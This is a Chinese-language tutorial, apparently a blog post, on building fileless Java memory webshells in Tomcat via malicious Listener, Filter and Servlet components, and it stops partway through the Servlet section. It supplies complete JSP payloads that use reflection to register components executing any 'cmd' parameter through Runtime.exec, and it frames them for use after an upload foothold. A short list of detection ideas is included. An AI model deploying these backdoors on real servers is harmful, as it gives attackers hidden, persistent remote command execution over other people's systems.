Java内存马简单实现

Tomcat内存马

JavaWeb 基本流程

​ 与php内存马不同的是,Java内存马并不是死循环创建文件的笨办法,但很类似,首先我们先来了解一下JavaWeb的基本组件。通常运行Java的web容器是tomcat,这里以tomcat为例,客户端与服务器(tomcat)交互流程如图所示:

image-20221117191625498

​ 客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。动态注册技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态注册添加内存马的方式适合Tomcat7.x以上版本。

按照shellcode的具体位置,就有

  • listener内存马
  • filter内存马
  • Servlet内存马
  • 等等

Listener型内存马

​ listenre顾名思义,监听某一事件的发生,状态改变等,监听器可以监听资源的b变化,简单说就是在 applicationsessionrequest 三个对象创建、销毁或者往其中添加修改删除属性时自动执行代码的功能组件。

​ 请求网站的时候,程序会先执行listener监听器的内容,tomcat三大组件执行顺序:Listener->Filter->Servlet。Listerner的优先级是相对比较高的,因此可以利用Listener组件注册内存马。Listener类型包括一下三种:

  • ServletContextListener:服务器启动和终止时触发
  • HttpSessionListener:有关Session操作时触发
  • ServletRequestListener:访问服务时触发

​ 最适合做内存马的当然是SercletRequestListener,只要访问服务或网络请求,都会触发监听器,从而执行ServletRequestListener#requestInitialized(),接下来,我们在服务器后端写一个恶意监听器。

恶意Listener监听器

// src/main/java/Listener_memshell.java
package example.demo;

import jdk.nashorn.internal.ir.RuntimeNode;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

@WebListener
public class Listener_memshell implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre){
        // 获取request请求
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
        // 获取response请求

        // 获取参数
        String cmd = req.getParameter("cmd");
        if(cmd != null){
            try{
                // 获得response响应
                Field requestF = req.getClass().getDeclaredField("request");
                requestF.setAccessible(true);
                Request request = (Request) requestF.get(req);
                Response response = (Response) request.getResponse();

                // 执行命令
                InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedInputStream bins = new BufferedInputStream(ins);
                response.setContentType("text/html;charset=UTF-8");
                response.getWriter().write("Listener_memshell 被执行\n");
                int len;
                while ((len = bins.read()) != -1) {
                    response.getWriter().write(len);
                }
            } catch (IOException e){
                e.printStackTrace();
            } catch (NullPointerException n){
                n.printStackTrace();
            } catch (NoSuchFieldException e) {
            } catch (IllegalAccessException e) {
            }
        }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre){

    }
}

访问任意路由都可触发命令执行。

image-20221125100826079

​ 当然,这是我们直接在服务器后端生成的Listener,在实际利用中我们不可能直接在服务器上添加Listener,大多数情况,我们都是先通过文件上传等方式获得任意代码执行的权限,之后通过执行代码的形式向服务器中添加Servlet,接下来我们详细介绍一下如何通过任意代码执行向服务器中植入Listener内存马。

动态注册Listener流程

​ 在实际生活中,我们不可能直接将恶意Listener类部署到服务器上,因此我们需要找到服务器添加Listener的具体过程,手动调用添加Listener,从而注入内存马。在requestInitialized()处下断点,查看其调用栈。

image-20221125111212800

通过调用连可以发现,Tomcat在StandardContext#fireRequestInitEvent处调用了我们的恶意Listener。

image-20221125111310722

而恶意Listener存储在instances,由StandardContext#getApplicationEventListeners获取,继续跟进StandardContext#getApplicationEventListeners

image-20221125111551102

getApplicationEventListeners调用applicationEventListenersList.toArray(),而applicationEventListenersList是定义在StandardContext的私有数组,因此我们的目标就变成了如何在applicationEventListenersList数组中添加我们的恶意Listener。

image-20221125111603197

image-20221125111629584

继续向下寻找,我们会找到StandardContext#addApplicationEventListener方法,注释表明该方法用于添加一个监听器,由此可知,我们只需要获得一个StandardContext对象,然后调用addApplicationEventListener即可添加我们的恶意Listener。

image-20221125111905905

现在,我们可以直到动态注册Listener内存马基本步骤了:

  • 1.编写恶意Listener监听器。
  • 2.获取StandardContext。
  • 3.动态注册恶意Listener监听器。

构造Listener内存马

编写恶意Listener监听器
<%!
    public class Listener_memshell implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre){
            // 获取request请求
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            // 获取参数
            String cmd = req.getParameter("cmd");
            if(cmd != null){
                try{
                    // 获得response响应
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request) requestF.get(req);
                    Response response = (Response) request.getResponse();

                    // 执行命令
                    InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                    BufferedInputStream bins = new BufferedInputStream(ins);
                    response.setContentType("text/html;charset=UTF-8");
                    response.getWriter().write("Listener_memshell 被执行\n");
                    int len;
                    while ((len = bins.read()) != -1) {
                        response.getWriter().write(len);
                    }
                } catch (IOException e){
                    e.printStackTrace();
                } catch (NullPointerException n){
                    n.printStackTrace();
                } catch (NoSuchFieldException e) {
                } catch (IllegalAccessException e) {
                }
            }
        }
        @Override
        public void requestDestroyed(ServletRequestEvent sre){

        }
    }
%>
获得StandardContext对象

StandardHostValve#invoke中,可以看到其通过request对象来获取StandardContext类,我们可以模仿其获取方法获取StandardContext对象。

image-20221125112340385

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

此外,还有一些其他方法获取StandardContext对象。

<%
	WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
动态注册Listener
    // 添加恶意Listener
    Listener_memshell listener_memshell = new Listener_memshell();
    context.addApplicationEventListener(listener_memshell);

Listener内存马完整代码

根据上述三个步骤构建的payload如下所示。

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class Listener_memshell implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre){
            // 获取request请求
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            // 获取参数
            String cmd = req.getParameter("cmd");
            if(cmd != null){
                try{
                    // 获得response响应
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request) requestF.get(req);
                    Response response = (Response) request.getResponse();

                    // 执行命令
                    InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                    BufferedInputStream bins = new BufferedInputStream(ins);
                    response.setContentType("text/html;charset=UTF-8");
                    response.getWriter().write("Listener_memshell 被执行\n");
                    int len;
                    while ((len = bins.read()) != -1) {
                        response.getWriter().write(len);
                    }
                } catch (IOException e){
                    e.printStackTrace();
                } catch (NullPointerException n){
                    n.printStackTrace();
                } catch (NoSuchFieldException e) {
                } catch (IllegalAccessException e) {
                }
            }
        }
        @Override
        public void requestDestroyed(ServletRequestEvent sre){

        }
    }
%>
<%
    // 获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    // 添加恶意Listener
    Listener_memshell listener_memshell = new Listener_memshell();
    context.addApplicationEventListener(listener_memshell);
%>

Filter内存马

基本原理

​ filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。其工作原理是,当web.xml注册了一个Filter来对某个Servlet 程序进行拦截处理时该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截,可以决定是否将请求继续传递给 Servlet 程序,以及对请求和相应信息进行修改。filter型内存马是将命令执行的文件通过动态注册成一个恶意的filter,这个filter没有落地文件并可以让客户端发来的请求通过它来做命令执行。

**request:**用来封装请求数据的对象,获取请求数据

  • 浏览器会发送HTTP请求到JavaWeb服务器;
  • 后台服务器会对HTTP中的数据解析并存入request对象中;
  • 后续对请求的读取等操作,对将针对request对象进行操作

**response:**用来封装响应数据的对象,设置响应数据。

  • 在HTTP处理结束后,业务处理的结果会存储到response对象中;
  • 后台服务器通过读取response对象,重新拼接为HTTP响应数据,发送给用户。

image-20221117191830346

​ 接下来,我们介绍一下Filter内存马构建过程。与Listener内存马分析流程类似,我们先构建一个恶意的Filter过滤器,然后分析其加载过程,从而模拟加载Filter加载恶意Fiter内存马。

恶意Filter过滤器

// src/main/java/Filter_memshell.java
package example.demo;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;

@WebFilter(filterName = "Filter_memshell",
    urlPatterns = "/Login"
)

public class Filter_memshell implements Filter {
    private String message;
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        message = "调用 Filter_mem";
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        PrintWriter printWriter = response.getWriter();
        // 执行命令
        if(cmd != null) {
            InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
            BufferedInputStream bins = new BufferedInputStream(ins);
            response.setContentType("text/html;charset=UTF-8");
            printWriter.write("Filter_memshell 被执行");
            int len;
            while ((len = bins.read()) != -1) {
                printWriter.write(len);
            }
        }
        // 放行请求
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
    }
}

访问/Login即刻触发命令执行。

image-20221125220429948

动态注册Filter流程

同样的,在Filter_memshell#doFilter下断点,查看调用栈情况。

image-20221125220528500

可以看到在ApplicationFilterChain#internalDoFilter方法中,调用了filter.doFilter,filter变量存储着我们的恶意Listener类,继续查看filter如何生成的。

image-20221125220312340

可以看到filter是由filterConfig.getFilter返回的,而filterConfig是filters数组元素,很明显ApplicationFilterChain#filters数组存储的就是所有FilterConfig的地方。

image-20221125220737374

image-20221125220850419

同时我们也可以发现ApplicationFilterChain#addFilter,熟悉的感觉又来了,Listener也是这样的,我们只需要找一个ApplicationFilterChain对象就行,Tomcat代码风格果然类似。

image-20221125221621467

继续返回上一层,在StandardWrapperValue#invoke中发现了filterChain.doFilter调用,而filterChain对象则是来自于ApplicationFilterFactory.createFilterChain

image-20221125221934710

image-20221125222043708

跟进ApplicationFilterFactory#createFilterChain方法,发现filterChain首先通过new ApplicationFilterChain()创建一个空的filterChain,之后获取StandardContext#FilterMapsFilterMaps对象存储的是对象中存储的是各Filter的名称路径等信息,因此,我们需要构造一个恶意的FilterMap对象。最终我们可以看到StandardContext#FilterMaps是由StandardContext#addFilterMapBeforeStandardContext#addFilterMap写入的,但是吧StandardContext#addFilterMapBefore是头插入方式,即插入的Filter排在循序表前部,更容易被遍历到,所以一般都选择StandardContext#addFilterMapBefore进行插入。

image-20221125222339945

最后遍历filterMaps将符合条件的使用addFilter将filterConfig添加至链上,而filterConfig是存储在context中的,因此我们还要构造ApplicationFilterConfig对象。

image-20221125222537485

现在整个流程开始明朗了起来,动态注册Filter流程如下:

  • 1.编写恶意Filter过滤器
  • 2.获得StandardContex对象
  • 3.构造ApplicationFilterConfig
  • 4.构造恶意FilterMap

构建Filter内存马

编写恶意Filter过滤器
<%!
    public class Filter_memshell implements Filter {
        private String message;
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            message = "调用 Filter_mem";
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            PrintWriter printWriter = response.getWriter();
            // 执行命令
            if(cmd != null) {
                InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedInputStream bins = new BufferedInputStream(ins);
                response.setContentType("text/html;charset=UTF-8");
                printWriter.write("Filter_memshell 被执行");
                int len;
                while ((len = bins.read()) != -1) {
                    printWriter.write(len);
                }
            }
            // 放行请求
            chain.doFilter(request,response);
        }

        @Override
        public void destroy() {
        }
    }
%>
获得StandardContext对象

StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。

获取StandardContext实在是有多种方法(包括Listener内存马获取StandardContext),以后可能会统一整理一下,这里列举一二。

方法一

Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。

//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
 
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
 
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

方法二

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

方法三

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

此方法在Tomcat 8 9是可用的,但是由于高版本tomcat把getResouces返回值弄成null了,就没法用了,可以使用反射获取Resources,下面的代码懒得测试了,遇到再说。

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot resources = (StandardRoot) getField(webappClassLoaderBase, "resources");
StandardContext standardContext = (StandardContext) resources.getContext();

方法四

// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
	Field f = servletContext.getClass().getDeclaredField("context");
	f.setAccessible(true);
	Object object = f.get(servletContext);

if (object instanceof ServletContext) {
	servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
	o = (StandardContext) object;
	}
}
构造ApplicationFilterConfig

查看ApplicationFilterConfig的构造函数,发现除了需要context之外,还需要FilterDef对象,emmmm。

image-20221125225612401

再次查看FilterDef对象,可以看到FilterDef对象中filterfilterClassfilterName属性,分别对应web.xml中的filter标签。FilterDef的作用主要为描述Filter名字与Filter 实例的关系。同时后面调用context.FilterMap的时候会校验FilterDef,所以我们需要先设置FilterDef

image-20221125225820032

<filter>
    <filter-name></filter-name>
    <filter-class></filter-class>
</filter>

​ 此外在StandardContext中发现了addFilterDef方法,获得StandardContext看来确实必不可少。

image-20221126185749878

创建FilterDef对象

// 创建FilterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(new Filter_memshell());
filterDef.setFilterClass(Filter_memshell.class.getName());
// 添加FilterDef对象
standardContext.addFilterDef(filterDef);

创建ApplicationFIlterConfig对象

// 创建 ApplicationFilterConfig 对象
Constructor <?> [] constructor = ApplicationFilterConfig.class.getDeclaredConstructors();
constructor[0].setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor[0].newInstance(standardContext,filterDef);
构造恶意FilterMap

filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签。

image-20221125232327574

<filter-mapping>
    <filter-name></filter-name>
    <url-pattern></url-pattern>
</filter-mapping>
// 创建filterMap
FilterMap filterMap =new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/filter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 调用standardContext#addFilterMapBefore添加FilterMap对象
standardContext.addFilterMapBefore(filterMap);

// // 调用FilterMaps#addBefore添加FilterMap对象
// Class ContextFilterMaps = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
// filterMapsField.setAccessible(true);
// Object contextFilterMaps = filterMapsField.get(standardContext);

// Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
// m.setAccessible(true);
// m.invoke(contextFilterMaps, filterMap);
动态注册Filter内存马
// 将filterConfig添加至filterConfigs数组
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 将filterConfig添加至filterConfigs数组
filterConfigs.put(filterName,filterConfig);

Filter内存马完整代码

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterChain" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="example.demo.Filter_memshell" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.catalina.webresources.StandardRoot" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public class Filter_memshell implements Filter {
        private String message;
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            message = "调用 Filter_mem";
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            PrintWriter printWriter = response.getWriter();
            // 执行命令
            if(cmd != null) {
                InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedInputStream bins = new BufferedInputStream(ins);
                response.setContentType("text/html;charset=UTF-8");
                printWriter.write("Filter_memshell 被执行");
                int len;
                while ((len = bins.read()) != -1) {
                    printWriter.write(len);
                }
                return;
            }
            // 放行请求
            chain.doFilter(request,response);
        }

        @Override
        public void destroy() {
        }
    }
%>
<%
    try {
        String filterName = "filter_memshell";
        // 获取ServletContext
        ServletContext servletContext = request.getServletContext();

        // 如果存在此filterName的Filter,则不在重复添加
        if (servletContext.getFilterRegistration(filterName) == null){
            // 获取StandardContext方法一
            // Field reqF = request.getClass().getDeclaredField("request");
            // reqF.setAccessible(true);
            // Request req = (Request) reqF.get(request);
            // StandardContext standardContext = (StandardContext) req.getContext();

            // 获取StandardContext方法二
            // 获取ApplicationContextFacade类
            // ServletContext servletContext = request.getSession().getServletContext();
            // // 反射获取ApplicationContextFacade类属性context为ApplicationContext类
            // Field appContextField = servletContext.getClass().getDeclaredField("context");
            // appContextField.setAccessible(true);
            // ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
            // // 反射获取ApplicationContext类属性context为StandardContext类
            // Field standardContextField = applicationContext.getClass().getDeclaredField("context");
            // standardContextField.setAccessible(true);
            // StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

            // 获取StandardContext方法三
            // WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            // StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            // 获取StandardContext方法四
            // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
            StandardContext standardContext = null;
            while (standardContext == null) {
                Field f = servletContext.getClass().getDeclaredField("context");
                f.setAccessible(true);
                Object object = f.get(servletContext);

                if (object instanceof ServletContext) {
                    servletContext = (ServletContext) object;
                } else if (object instanceof StandardContext) {
                    standardContext = (StandardContext) object;
                }
            }

            // 创建FilterDef对象
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterName(filterName);
            filterDef.setFilter(new Filter_memshell());
            filterDef.setFilterClass(Filter_memshell.class.getName());
            // 添加FilterDef对象
            standardContext.addFilterDef(filterDef);

            // 创建FilterMap
            FilterMap filterMap =new FilterMap();
            filterMap.setFilterName(filterName);
            filterMap.addURLPattern("/filter");
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            // 调用standardContext#addFilterMapBefore添加FilterMap对象
            standardContext.addFilterMapBefore(filterMap);

            // // 调用FilterMaps#addBefore添加FilterMap对象
            // Class ContextFilterMaps = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
            // Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
            // filterMapsField.setAccessible(true);
            // Object contextFilterMaps = filterMapsField.get(standardContext);
            //
            // Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
            // Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
            // m.setAccessible(true);
            // m.invoke(contextFilterMaps, filterMap);

            // 获得filterConfigs数组
            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            // 创建 ApplicationFilterConfig 对象
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

            // 将filterConfig添加至filterConfigs数组
            filterConfigs.put(filterName,filterConfig);
            response.getWriter().println("Filter内存马添加成功");

        }
    } catch (Exception e){
        response.getWriter().println(e.getMessage());
    }
%>

doFilter中(代码第42行)有一个return,这是为了防止访问时出现404报错,由于Servlet没有这个路由网页,因此后端返回404,但此时doFilter是已经成功执行命令的,为了使其回显出来,因此添加了return,使得请求不通过Servlet直接返回。

image-20221125235311267

image-20221126194319895

Tomcat各版本对Filter内存马支持

首先之前构造的Filter型内存马是指支持Tomcat7以上,原因是因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3。

且在Tomcat7与8中 FilterDef 和 FilterMap 这两个类所属的包名不一样
tomcat 7:

org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;

tomcat 8:

org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;

Filter内存马检测思路

  • 检测带有特殊函数的filter名字
  • filter优先级,filter内存马的优先级一般为最高
  • 查看web.xml中有没有可疑的filter配置
  • 检查特殊的classloader
  • 检测classloader路径下没有class文件
  • 检测Filter中的doFilter方法是否有恶意代码
  • 如果是代码执⾏漏洞,排查中间件的 error.log,查看是否有可疑的报错,判断注⼊时间和⽅法

Servlet内存马

​ servlet是一种运行在服务器端的java应用程序,主要功能在于交互式地浏览和修改数据,生成动态Web内容。基本流程为:

  • 客户端发送请求至服务器端;
  • 服务器将请求信息发送至Servlet;
  • Servlet生成响应信息并将其传给服务器。响应内容动态生成,通常取决于客户端的请求;
  • 服务将响应返回给客户端。

恶意Servlet

在进行Servlet编写之前,我们先对手动生成一个恶意的Servlet,使用注解的方式手动在服务器后台添加Servlet。

// src/main/java/example/demo/Servlet_memshell.jsp
package example.demo;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
        name = "Servlet_memshell",
        urlPatterns = "/servlet"
)
public class Servlet_memshell extends HttpServlet {
    private String message;

    public void init() {
        message = "Servlet 命令执行输出:\n";
    }

    public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        if(cmd != null) {
            try {
                InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedInputStream bins = new BufferedInputStream(ins);
                resp.setContentType("text/html;charset=UTF-8");
                resp.getWriter().write(message);
                int len;
                while ((len = bins.read()) != -1) {
                    resp.getWriter().write(len);
                }
            }catch (Exception e){
                resp.getWriter().println(e.getMessage());
            }
        }
    }

    public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

​ 访问http://localhost:8080/servlet?cmd=whoami,命令执行成功。此时我们获得了一个可以执行命令的Servlet。

image-20221128112700365

动态注册Servlet流程

我们使用Listener监听servlet来了解servlet在tomcat中的建立过程,在contextInitialized处下断点。

// src/main/java/example/demo/Listener_servlet
package example.demo;

import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class Listener_servlet implements ServletContextListener {

    @Override
    public void contextInitialized(ServletContextEvent sce) {
        System.out.println("ServletContext对象创建了!");
    }

    @Override
    public void contextDestroyed(ServletContextEvent sce) {
        System.out.println("ServletContext对象销毁了!");
    }
}

进入StandardContext#startInternal可以发现调用StandardContext#loadOnStartup加载启动servlet。

image-20221201225714005

跟进StandardContext#loadOnStartup,发现loadOnStartup中遍历传入children参数,并判断loadOnStartup,如果>=0,则放list中,并使用wrapper.load()进行加载。children参数内容就是tomcat需要创建的servlet,这里我们可以看到tomcat自己创建的defaultjspservlet以及,我们自己创建的Servlet_memshellservlet,Login也是我们自己创建的,对Servlet内存马没有影响,这里可忽略

image-20221201231335791

loadOnStartup实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序0,正数的值越小,启动该servlet的优先级越高,默认值为-1,此时只有当Servlet被调用时才加载到内存中,loadOnStartupweb.xml中由<load-on-startup>1</load-on-startup>标签指定。由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载。

image-20221201230351653

继续查找children是从哪里保存的,既然能够生成我们所设置的servlet,那么一定读取了web.xml

经过查找在StandContext#startInternal中,调用fireLifecycleEvent进行配置。

image-20221204191247827

image-20221204191357849

ContextConfig#configureStart中发现调用了webConfig配置。

image-20221204191658079

最终在ContextConfig#webConfig中发现contextWebXml变量,可以看到其中存在web.xml的物理路径。

image-20221204191724680

继续向下执行,发现除了读取web.xml外,同时合并了注解类型的配置,以及tomcat默认配置,最终存储在webXml变量中,我们可以看到Login是在web.xml中进行配置的,Servlet_menshell是通过注解配置的,而defaultjsp是tomcat默认配置的,这就解释了tomcat为什么能够解析jsp代码,因为其中默认配置了jsp的servlet。

image-20221204192436399

最后进入ContextConfig#configureContext应用配置,在configureContext我们能够发现,应用servlet的具体步骤,同时在此处我们也可以了解到listener和filter组件应用的步骤。

public class ContextConfig implements LifecycleListener {
    ...
    private void configureContext(WebXml webxml) {
    ...
        for (ServletDef servlet : webxml.getServlets().values()) {
        	// 对每个Servlet创建wrapper
            Wrapper wrapper = context.createWrapper();
            // Description is ignored
            // Display name is ignored
            // Icons are ignored
            // 设置LoadOnStartup属性
            if (servlet.getLoadOnStartup() != null) {
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
			... 
			// 设置ServletName属性
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
            // 设置ServletClass属性
            wrapper.setServletClass(servlet.getServletClass());
            ...
            wrapper.setOverridable(servlet.isOverridable());
            // 将包装好的StandWrapper添加进ContainerBase的children属性中
            context.addChild(wrapper);
            for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
          
            //添加路径映射
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }
        }
	}

最后通过addServletMappingDecoded()方法添加Servlet对应的url映射。

构造Servlet内存马

通过对动态注册Servlet流程进行分析我们可以得到动态注册步骤步骤:

  • 1.编写恶意Servlet
  • 2.获得StandardContext对象
  • 3.通过StandardContext.createWrapper()创建StandardWrapper对象。
  • 4.设置StandardWrapper对象的loadOnStartup属性值。
  • 5.设置StandardWrapper对象的ServletName属性值。
  • 6.设置StandardWrapper对象的ServletClass属性值。
  • 7.将StandardWrapper对象添加进StandardContext对象的children属性中。
  • 8.通过StandardContext.addServletMappingDecoded()添加对应的路径映射。
编写恶意Servlet
<%!
    public class Servlet_memshell extends HttpServlet {
        private String message;

        public void init() {
            message = "Servlet 命令执行输出:\n";
        }

        public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if(cmd != null) {
                try {
                    InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                    BufferedInputStream bins = new BufferedInputStream(ins);
                    resp.setContentType("text/html;charset=UTF-8");
                    resp.getWriter().write(message);
                    int len;
                    while ((len = bins.read()) != -1) {
                        resp.getWriter().write(len);
                    }
                }catch (Exception e){
                    resp.getWriter().println(e.getMessage());
                }
            }
        }

        public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            super.doPost(req, resp);
        }
    }

%>
获得StandardContext对象
    // 获得StandardContext
    Field reqF=request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardCcontext = (StandardContext) req.getContext();
创建Wrapper
    // 创建Wrapper
